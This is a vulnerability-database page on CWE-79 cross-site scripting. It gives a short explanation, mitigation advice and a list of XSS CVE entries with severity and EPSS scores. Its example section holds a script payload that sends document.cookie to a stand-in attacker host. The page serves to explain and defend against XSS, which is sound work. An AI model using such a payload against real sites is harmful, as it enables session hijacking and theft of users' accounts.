Fallos del tipo CWE-79

30.284 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-101156MEDIUMSecurity Advisory 0192EPSS 0.3%CVE-2025-25127HIGHWordPress Contact Us By Lord Linus Plugin <= 2.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2015-20130MEDIUMNetsweeper < 4.0.11 / 4.1.5 Reflected XSS via view_server_log.phpEPSS 0.3%CVE-2024-22876MEDIUMStrangeBee TheHive 5.1.0 to 5.1.9 and 5.2.0 to 5.2.8 is vulnerable to Cross Site Scripting (XSS) in the case attachment functionality which EPSS 0.3%CVE-2024-43306HIGHWordPress WP-Lister Lite for eBay plugin <= 3.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1316HIGHCustomer Reviews for WooCommerce <= 5.97.0 - Unauthenticated Stored Cross-Site Scripting via media[].href ParameterEPSS 0.3%CVE-2026-20198MEDIUMCisco Integrated Management Controller Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2026-0483MEDIUMStored Cross-Site Scripting (XSS) vulnerability in LiveHelperChatEPSS 0.3%CVE-2025-41065MEDIUMStored Cross-Site Scripting (XSS) in LUNA from Luna ImagingEPSS 0.3%CVE-2026-100148MEDIUMRich Showcase for Google Reviews <= 7.1.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Google Review Text (imported via Places API)EPSS 0.3%CVE-2026-66030MEDIUMEkushey Project Manager CRM 5.0 Stored XSS via Ticket Title FieldEPSS 0.3%CVE-2026-48552MEDIUMNagios Core / XI DOM-based XSS via jsonquery.jsEPSS 0.3%CVE-2023-42427MEDIUMCross-site scripting vulnerability exists in UNIVERSAL PASSPORT RX versions 1.0.0 to 1.0.7, which may allow a remote authenticated attacker EPSS 0.3%CVE-2025-63450MEDIUMCar-Booking-System-PHP v.1.0 is vulnerable to Cross Site Scripting (XSS) in /carlux/booking.php.EPSS 0.3%CVE-2025-8337MEDIUMcode-projects Simple Car Rental System add_vehicles.php cross site scriptingEPSS 0.3%CVE-2026-97030MEDIUMRecognize yield as regexp preceder keyword in html/templateEPSS 0.3%CVE-2026-61607MEDIUMGrav API Plugin: Stored XSS via SVG Upload - API Media Pipeline Bypasses SanitizerEPSS 0.3%CVE-2025-66021HIGHOWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitizationEPSS 0.3%CVE-2024-29920MEDIUMWordPress Move Addons for Elementor plugin <= 1.2.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-39125MEDIUMRoundup before 2.4.0 allows XSS via a SCRIPT element in an HTTP Referer header.EPSS 0.3%